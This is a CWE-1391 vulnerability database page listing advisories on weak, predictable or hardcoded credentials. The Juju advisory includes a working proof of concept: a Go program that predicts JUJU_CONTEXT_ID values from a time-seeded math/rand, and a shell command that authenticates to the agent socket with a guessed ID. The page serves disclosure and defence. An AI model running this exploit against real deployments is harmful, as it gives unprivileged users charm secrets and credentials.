Common Weakness Enumeration

CWE-1391

Allowed-with-Review

Use of Weak Credentials

Abstraction: Class · Status: Incomplete

The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker.

98 vulnerabilities reference this CWE, most recent first.

GHSA-MH98-763H-M9V4

Vulnerability from github – Published: 2024-10-03 16:49 – Updated: 2024-10-09 22:48
VLAI
Summary
JUJU_CONTEXT_ID is a predictable authentication secret
Details

JUJU_CONTEXT_ID is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633.

This value looks fairly unpredictable, but due to the random source used, it is highly predictable.

JUJU_CONTEXT_ID has the following components: - the application name - the unit number - the hook being currently run - a uint63 decimal number

On a system the application name and unit number can be deduced by reading the structure of the filesystem. The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all. Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.

There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).

Impact

On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.

Patches

Patch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7 Patched in: - 3.5.4 - 3.4.6 - 3.3.7 - 3.1.10 - 2.9.51

Workarounds

No workaround. Upgrade will be required.

References

https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152 https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164

PoC

With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.

.
|-- hooks
|   `-- install
#!/bin/sh
sleep 10000
|-- manifest.yaml
bases:
  - name: ubuntu
    channel: 22.04/stable
    architectures:
      - amd64
|-- metadata.yaml
name: sleepy
summary: a sleepy charm
description: a sleepy charm that sleeps on install
`-- revision
1

With sleepy deployed into a model, we have a unit with the name sleepy/0 and an tag of unit-sleepy-0.

With access to the log file we can very quickly get the start time of the unit:

ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started'
2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started

If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:

nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
cat: unit-sleepy-0.log: Permission denied
nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
  File: unit-sleepy-0.log
  Size: 1403        Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d   Inode: 25967076    Links: 1
Access: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)
Access: 2024-08-06 05:10:48.686975042 +0000
Modify: 2024-08-06 05:10:07.159133215 +0000
Change: 2024-08-06 05:10:07.159133215 +0000
 Birth: 2024-08-06 05:10:06.965129276 +0000

We can then pass that into this program:

package main

import (
    "flag"
    "fmt"
    "math/rand"
    "time"
)

func main() {
    var unitName string
    var unitStartLogTime string
    var currentHook string
    flag.StringVar(&unitName, "u", "sleepy/0", "")
    flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log")
    flag.StringVar(&currentHook, "h", "install", "the current hook that is running right now")
    flag.Parse()

    t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
    if err != nil {
        panic(err)
    }

    sources := []rand.Source{
        rand.NewSource(t.Unix()),
        rand.NewSource(t.Unix() - 1),
        rand.NewSource(t.Unix() - 2),
    }

    for i := 0; i < 10; i++ {
        for _, source := range sources {
            fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
        }
    }
}

This program will give us a list of JUJU_CONTEXT_IDs to try. We just need to try each one. In this case it was the first one, because we had enough information.

$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install
sleepy/0-install-7349430268617352851
sleepy/0-install-2171542415131519293
sleepy/0-install-6564961386023494624
sleepy/0-install-59904244413115609
sleepy/0-install-6073989428498739633
sleepy/0-install-2504995199508561544
sleepy/0-install-1526670560532335303
sleepy/0-install-2568216045630615950
sleepy/0-install-8047402353801897930

Unfortunately, this worked too well.

nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
True

With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/juju/juju"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20240826044107-ecd7e2d0e986"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-337",
      "CWE-340"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-03T16:49:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`JUJU_CONTEXT_ID` is the authentication measure on the unit hook tool abstract domain socket. It looks like `JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633`.\n\nThis value looks fairly unpredictable, but due to the random source used, it is highly predictable.\n\n`JUJU_CONTEXT_ID` has the following components:\n- the application name\n- the unit number\n- the hook being currently run\n- a uint63 decimal number\n\nOn a system the application name and unit number can be deduced by reading the structure of the filesystem.\nThe current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.\nFinally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.\n\nThere is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).\n\n### Impact\nOn a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.\n\n### Patches\nPatch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7\nPatched in:\n- 3.5.4\n- 3.4.6\n- 3.3.7\n- 3.1.10\n- 2.9.51\n\n### Workarounds\nNo workaround. Upgrade will be required.\n\n### References\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164\n\n### PoC\nWith a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.\n\n```\n.\n|-- hooks\n|   `-- install\n#!/bin/sh\nsleep 10000\n|-- manifest.yaml\nbases:\n  - name: ubuntu\n    channel: 22.04/stable\n    architectures:\n      - amd64\n|-- metadata.yaml\nname: sleepy\nsummary: a sleepy charm\ndescription: a sleepy charm that sleeps on install\n`-- revision\n1\n```\n\nWith sleepy deployed into a model, we have a unit with the name `sleepy/0` and an tag of `unit-sleepy-0`.\n\nWith access to the log file we can very quickly get the start time of the unit:\n```\nubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep \u0027unit \"sleepy/0\" started\u0027\n2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit \"sleepy/0\" started\n```\n\nIf we don\u0027t have access to the log, we could get pretty close by trying every second between when log file was created and now:\n```\nnobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log\ncat: unit-sleepy-0.log: Permission denied\nnobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log\n  File: unit-sleepy-0.log\n  Size: 1403      \tBlocks: 8          IO Block: 4096   regular file\nDevice: 10302h/66306d\tInode: 25967076    Links: 1\nAccess: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)\nAccess: 2024-08-06 05:10:48.686975042 +0000\nModify: 2024-08-06 05:10:07.159133215 +0000\nChange: 2024-08-06 05:10:07.159133215 +0000\n Birth: 2024-08-06 05:10:06.965129276 +0000\n```\n\nWe can then pass that into this program:\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc main() {\n\tvar unitName string\n\tvar unitStartLogTime string\n\tvar currentHook string\n\tflag.StringVar(\u0026unitName, \"u\", \"sleepy/0\", \"\")\n\tflag.StringVar(\u0026unitStartLogTime, \"t\", \"2024-08-06 05:10:07\", \"time when the last \u0027INFO juju.worker.uniter uniter.go:363 unit %q started\u0027 log was written to /var/log/juju/unit-name-0.log\")\n\tflag.StringVar(\u0026currentHook, \"h\", \"install\", \"the current hook that is running right now\")\n\tflag.Parse()\n\n\tt, err := time.Parse(\"2006-01-02 15:04:05\", unitStartLogTime)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsources := []rand.Source{\n\t\trand.NewSource(t.Unix()),\n\t\trand.NewSource(t.Unix() - 1),\n\t\trand.NewSource(t.Unix() - 2),\n\t}\n\n\tfor i := 0; i \u003c 10; i++ {\n\t\tfor _, source := range sources {\n\t\t\tfmt.Printf(\"%s-%s-%d\\n\", unitName, currentHook, source.Int63())\n\t\t}\n\t}\n}\n```\n\nThis program will give us a list of `JUJU_CONTEXT_ID`s to try. We just need to try each one. In this case it was the first one, because we had enough information.\n\n```\n$ go run . -u sleepy/0 -t \"2024-08-06 05:10:07\" -h install\nsleepy/0-install-7349430268617352851\nsleepy/0-install-2171542415131519293\nsleepy/0-install-6564961386023494624\nsleepy/0-install-59904244413115609\nsleepy/0-install-6073989428498739633\nsleepy/0-install-2504995199508561544\nsleepy/0-install-1526670560532335303\nsleepy/0-install-2568216045630615950\nsleepy/0-install-8047402353801897930\n```\n\nUnfortunately, this worked too well.\n```\nnobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader\nTrue\n```\n\nWith a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.",
  "id": "GHSA-mh98-763h-m9v4",
  "modified": "2024-10-09T22:48:18Z",
  "published": "2024-10-03T16:49:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juju/juju"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3173"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "JUJU_CONTEXT_ID is a predictable authentication secret"
}

GHSA-MMM9-H8M2-RGMW

Vulnerability from github – Published: 2025-04-28 09:31 – Updated: 2025-04-28 09:31
VLAI
Details

The device’s passwords have not been adequately salted, making them vulnerable to password extraction attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-32471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T09:15:21Z",
    "severity": "LOW"
  },
  "details": "The device\u2019s passwords have not been adequately salted, making them vulnerable to password extraction attacks.",
  "id": "GHSA-mmm9-h8m2-rgmw",
  "modified": "2025-04-28T09:31:54Z",
  "published": "2025-04-28T09:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32471"
    },
    {
      "type": "WEB",
      "url": "https://cdn.sick.com/media/docs/1/11/411/Special_information_CYBERSECURITY_BY_SICK_en_IM0084411.PDF"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
    },
    {
      "type": "WEB",
      "url": "https://www.first.org/cvss/calculator/3.1"
    },
    {
      "type": "WEB",
      "url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0005.json"
    },
    {
      "type": "WEB",
      "url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0005.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PCH2-H8HC-84FH

Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-05-27 15:33
VLAI
Details

In Slican telephone exchanges secure key is generated in a predictable manner using properties of the telephone exchange which can be obtained without authentication. An unauthenticated attacker can deduce the secure key and obtain admin credentials.

This issue was fixed in versions below: - IPx series: version 6.61.0040 - CCT-1668: version 6.56.0430 - MAC-6400: version 6.56.0430 - CXS-0424: version 6.30.0510

The issue STILL EXISTS in End-Of-Life telephone exchanges in versions 4.xx and below: - CCT-1668 (CCT1CPU) - MAC-6400 - CXS-0424 These products were discontinued in 2011 and 2012 and and will not receive updates. These products require a hardware update in order to receive a software update. The vendor recommends that users of these devices contact the their service department directly to determine the options for upgrading.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-35089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T14:16:44Z",
    "severity": "HIGH"
  },
  "details": "In Slican telephone exchanges secure key is generated in a predictable manner using properties of the telephone exchange which can be obtained without authentication. An unauthenticated attacker can deduce the secure key and obtain admin credentials.\n\nThis issue was fixed in versions below:\n- IPx series: version 6.61.0040\n- CCT-1668: version 6.56.0430\n- MAC-6400: version 6.56.0430\n- CXS-0424: version 6.30.0510\n\nThe issue STILL EXISTS in End-Of-Life telephone exchanges in versions 4.xx and below:\n- CCT-1668 (CCT1CPU)\n- MAC-6400\n- CXS-0424\nThese products were discontinued in 2011 and 2012 and and will not receive updates. These products require a hardware update in order to receive a software update. The vendor recommends that users of these devices contact the their service department directly to determine the options for upgrading.",
  "id": "GHSA-pch2-h8hc-84fh",
  "modified": "2026-05-27T15:33:11Z",
  "published": "2026-05-27T15:33:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35089"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/posts/2026/05/CVE-2026-35087"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PCJ6-W288-348M

Vulnerability from github – Published: 2024-07-09 12:30 – Updated: 2024-07-09 12:30
VLAI
Details

Longse model LBH30FE200W cameras, as well as products based on this device, make use of telnet passwords which follow a specific pattern. Once the pattern is known, brute-forcing the password becomes relatively easy.  Additionally, every camera with the same firmware version shares the same password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-5634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T11:15:16Z",
    "severity": "HIGH"
  },
  "details": "Longse model\u00a0LBH30FE200W cameras, as well as products based on this device, make use of telnet passwords which follow a specific pattern. Once the pattern is known, brute-forcing the password becomes relatively easy.\u00a0\nAdditionally, every camera with the same firmware version shares the same password.",
  "id": "GHSA-pcj6-w288-348m",
  "modified": "2024-07-09T12:30:57Z",
  "published": "2024-07-09T12:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5634"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2024/07/CVE-2024-5631"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/posts/2024/07/CVE-2024-5631"
    },
    {
      "type": "WEB",
      "url": "https://zamel.com/pl/gardi/zestaw-monitoringu-bezprzewodowego-wi-fi-typ-zmb-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PHH4-3HMM-24RX

Vulnerability from github – Published: 2024-10-02 12:30 – Updated: 2025-08-26 19:43
VLAI
Summary
Duplicate Advisory: Juju makes Use of Weak Credentials
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-mh98-763h-m9v4. This link is maintained to preserve external references.

Original Description

JUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/juju/juju"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20241001032836-2af7bd8e310b"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-330",
      "CWE-337"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-02T21:55:42Z",
    "nvd_published_at": "2024-10-02T11:15:11Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-mh98-763h-m9v4. This link is maintained to preserve external references.\n\n## Original Description\nJUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm.",
  "id": "GHSA-phh4-3hmm-24rx",
  "modified": "2025-08-26T19:43:23Z",
  "published": "2024-10-02T12:30:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-7558"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Juju makes Use of Weak Credentials",
  "withdrawn": "2024-10-02T21:55:42Z"
}

GHSA-PJ67-778W-R7W3

Vulnerability from github – Published: 2024-07-28 03:30 – Updated: 2024-07-28 03:30
VLAI
Details

The MSI installer for Splashtop Streamer for Windows before 3.6.2.0 uses a temporary folder with weak permissions during installation. A local user can exploit this to escalate privileges to SYSTEM by replacing InstRegExp.reg.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-42051"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-28T03:15:02Z",
    "severity": "HIGH"
  },
  "details": "The MSI installer for Splashtop Streamer for Windows before 3.6.2.0 uses a temporary folder with weak permissions during installation. A local user can exploit this to escalate privileges to SYSTEM by replacing InstRegExp.reg.",
  "id": "GHSA-pj67-778w-r7w3",
  "modified": "2024-07-28T03:30:47Z",
  "published": "2024-07-28T03:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42051"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpacePlant/Vulns/blob/main/Advisories/2024/3.md"
    },
    {
      "type": "WEB",
      "url": "https://support-splashtopbusiness.splashtop.com/hc/en-us/articles/20716875636763-Splashtop-Streamer-version-v3-6-2-0-for-Windows-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PVV5-5WPH-88CQ

Vulnerability from github – Published: 2023-04-11 09:30 – Updated: 2024-04-04 03:23
VLAI
Details

TP-Link L2 switch T2600G-28SQ firmware versions prior to 'T2600G-28SQ(UN)_V1_1.0.6 Build 20230227' uses vulnerable SSH host keys. A fake device may be prepared to spoof the affected device with the vulnerable host key.If the administrator may be tricked to login to the fake device, the credential information for the affected device may be obtained.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-28368"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-11T09:15:00Z",
    "severity": "MODERATE"
  },
  "details": "TP-Link L2 switch T2600G-28SQ firmware versions prior to \u0027T2600G-28SQ(UN)_V1_1.0.6 Build 20230227\u0027 uses vulnerable SSH host keys. A fake device may be prepared to spoof the affected device with the vulnerable host key.If the administrator may be tricked to login to the fake device, the credential information for the affected device may be obtained.",
  "id": "GHSA-pvv5-5wph-88cq",
  "modified": "2024-04-04T03:23:41Z",
  "published": "2023-04-11T09:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28368"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN62420378"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/en/support/download/t2600g-28sq/#Firmware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PXFW-CXX3-VXV8

Vulnerability from github – Published: 2024-04-08 15:30 – Updated: 2024-08-15 18:31
VLAI
Details

In Unify CP IP Phone firmware 1.10.4.3, Weak Credentials are used (a hardcoded root password).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-28066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-259"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-08T13:15:08Z",
    "severity": "HIGH"
  },
  "details": "In Unify CP IP Phone firmware 1.10.4.3, Weak Credentials are used (a hardcoded root password).",
  "id": "GHSA-pxfw-cxx3-vxv8",
  "modified": "2024-08-15T18:31:43Z",
  "published": "2024-04-08T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28066"
    },
    {
      "type": "WEB",
      "url": "https://syss.de"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-008.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q5Q7-8X6X-HCG2

Vulnerability from github – Published: 2025-05-26 12:30 – Updated: 2025-07-31 21:31
VLAI
Summary
ActiveMQ Artemis AMQ Broker Operator Starting Credentials Reuse
Details

A flaw was found in ActiveMQ Artemis. The password generated by activemq-artemis-operator does not regenerate between separated CR dependencies.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/arkmq-org/activemq-artemis-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20250418141202-b262048e6a75"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-4057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-27T22:50:22Z",
    "nvd_published_at": "2025-05-26T10:15:21Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in ActiveMQ Artemis. The password generated by activemq-artemis-operator does not regenerate between separated CR dependencies.",
  "id": "GHSA-q5q7-8x6x-hcg2",
  "modified": "2025-07-31T21:31:32Z",
  "published": "2025-05-26T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arkmq-org/activemq-artemis-operator/issues/1130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arkmq-org/activemq-artemis-operator/commit/d3482fab6d0060794226c9e5a6fa67d209abc35a"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:12355"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:12473"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:8147"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-4057"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2362827"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/arkmq-org/activemq-artemis-operator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ActiveMQ Artemis AMQ Broker Operator Starting Credentials Reuse"
}

GHSA-Q7M5-4XHC-7XFR

Vulnerability from github – Published: 2024-03-25 06:30 – Updated: 2025-03-28 09:30
VLAI
Details

HGW BL1500HM Ver 002.001.013 and earlier contains a use of week credentials issue. A network-adjacent unauthenticated attacker may connect to the product via SSH and use a shell.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-21865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-521"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-25T05:15:50Z",
    "severity": "MODERATE"
  },
  "details": "HGW BL1500HM Ver 002.001.013 and earlier contains a use of week credentials issue. A network-adjacent unauthenticated attacker may connect to the product via SSH and use a shell.",
  "id": "GHSA-q7m5-4xhc-7xfr",
  "modified": "2025-03-28T09:30:30Z",
  "published": "2024-03-25T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21865"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU93546510"
    },
    {
      "type": "WEB",
      "url": "https://kddi-tech.com/contents/appendix_L2_06.html#20304f4c-af1b-49fd-c3b5-8d1f55fd8b4f"
    },
    {
      "type": "WEB",
      "url": "https://www.au.com/support/service/internet/guide/modem/bl1500hm/firmware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design Operation

When the user changes or sets a password, check the password against a database of already compromised or breached passwords. These passwords are likely to be used in password guessing attacks.

No CAPEC attack patterns related to this CWE.